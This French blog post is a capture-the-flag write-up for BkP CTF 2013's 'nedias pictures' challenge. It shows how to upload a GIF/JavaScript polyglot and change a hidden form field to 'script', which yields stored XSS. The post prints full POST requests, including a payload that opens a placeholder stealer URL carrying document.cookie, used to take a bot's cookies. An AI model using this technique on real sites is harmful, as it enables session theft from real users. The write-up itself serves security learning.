BkP CTF 2013 | nedias pictures [Write-Up]

Dans ce CTF, le but était de récupérer le flag dans les cookies d’un bot qui parcourait notre upload.php.
Tout d’abord, il fallait trouver une section d’upload correcte.
Pour cela, on avait l’indice: « Get from THISDOMAIN/mysecret »
Autrement dit: http://54.218.11.179/mysecret
Cette page nous donnait un hash unique en fonction de notre team. La page d’upload pour une team était :
http://54.218.11.211/gallery/<hash_de_votre_team>/upload.php

On a donc notre page d’upload. Après plusieurs tests, il se trouve que le formulaire n’accepte que des gifs. En réalité, pour faire plus précis, il n’accepte que des fichiers commençant par « GIF89 » (header d’une image au format gif).

Nous allons maintenant altérer un envoi. Créons un fichier .gif avec comme contenu :
GIF89

Voici le contenu POST de notre requête :

-----------------------------14625710122208\r\n
Content-Disposition: form-data; name="name"\r\n
\r\n
test\r\n
-----------------------------14625710122208\r\n
Content-Disposition: form-data; name="file"; filename="file.gif"\r\n
Content-Type: image/gif\r\n
\r\n
GIF89\r\n
-----------------------------14625710122208\r\n
Content-Disposition: form-data; name="Submit"\r\n
\r\n
Submit\r\n
-----------------------------14625710122208\r\n
Content-Disposition: form-data; name="tag"\r\n
\r\n
img\r\n
-----------------------------14625710122208--\r\n

Mais il y a quelque chose de suspect…

Content-Disposition: form-data; name="tag"\r\n
\r\n
img\r\n

Une valeur cachée (type hidden) a été envoyée, et elle vaut « img » !
Par la suite, après un upload réussi, l’image est affichée. Voici la source :

<img alt= »BkPctf2013″ src= »./upload/nediapicture.gif » />

Bidouillons un peu tout ça en modifiant le contenu du champ « tag » dans notre requête POST.

Content-Disposition: form-data; name="tag"\r\n
\r\n
script\r\n

Et là, nous avons dans la source…

<script alt= »BkPctf2013″ src= »./upload/nediapicture.gif » />

Oh que oui ça devient intéressant 🙂 La balise script va aller chercher un script JavaScript dans notre gif.
Revenons à l’indice donné au début du challenge : nous devons trouver quelque chose dans les cookies de l’admin « nedia », autrement dit dans les cookies du bot parcourant nos pages… Il ne reste plus qu’à tenter d’éxécuter du javascript.

Essayons de créer un gif sous cette forme (à partir de maintenant, tag sera toujours modifié en « script »)

-----------------------------134892671122644\r\n
Content-Disposition: form-data; name="name"\r\n
\r\n
test\r\n
-----------------------------134892671122644\r\n
Content-Disposition: form-data; name="file"; filename="file.gif"\r\n
Content-Type: image/gif\r\n
\r\n
GIF89=1;
alert("/XSS/");\r\n
-----------------------------134892671122644\r\n
Content-Disposition: form-data; name="Submit"\r\n
\r\n
Submit\r\n
-----------------------------134892671122644\r\n
Content-Disposition: form-data; name="tag"\r\n
\r\n
script\r\n
-----------------------------134892671122644--\r\n

On obtient une jolie XSS !
XSS

Il ne reste plus qu’à voler des cookies. On code donc un petit « cookie stealer » (qui va se charger de récupérer des cookies en GET via l’URL, puis d’enregistrer ces cookies dans un fichier) et on l’héberge sur un serveur http.
Nous essayons donc de faire simplement rediriger l’utilisateur vers notre site :

document.location='http://www.votresite.com/stealer.php?cookie=' + document.cookie;

Cela ne fonctionne pas… Après quelques heures à s’arracher les cheveux, on tente simplement de modifier la technique utilisée pour rediriger l’administrateur sur notre serveur… On utilise window.open() :

window.open('http://www.votresite.com/stealer.php?cookie=' + document.cookie);

Voici notre requête POST finale :

-----------------------------134892671122644\r\n
Content-Disposition: form-data; name="name"\r\n
\r\n
test\r\n
-----------------------------134892671122644\r\n
Content-Disposition: form-data; name="file"; filename="file.gif"\r\n
Content-Type: image/gif\r\n
\r\n
GIF89=1;
window.open('http://www.votresite.com/stealer.php?cookie=' + document.cookie);\r\n
-----------------------------134892671122644\r\n
Content-Disposition: form-data; name="Submit"\r\n
\r\n
Submit\r\n
-----------------------------134892671122644\r\n
Content-Disposition: form-data; name="tag"\r\n
\r\n
script\r\n
-----------------------------134892671122644--\r\n

Le bot regarde instantanément notre image. Il est donc redirigé vers notre voleur de cookie. De notre côté, on les récupère.

flag=didnt_need_script_tags_on_ie6

Enjoy \o/ ! 🙂

Publicités

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s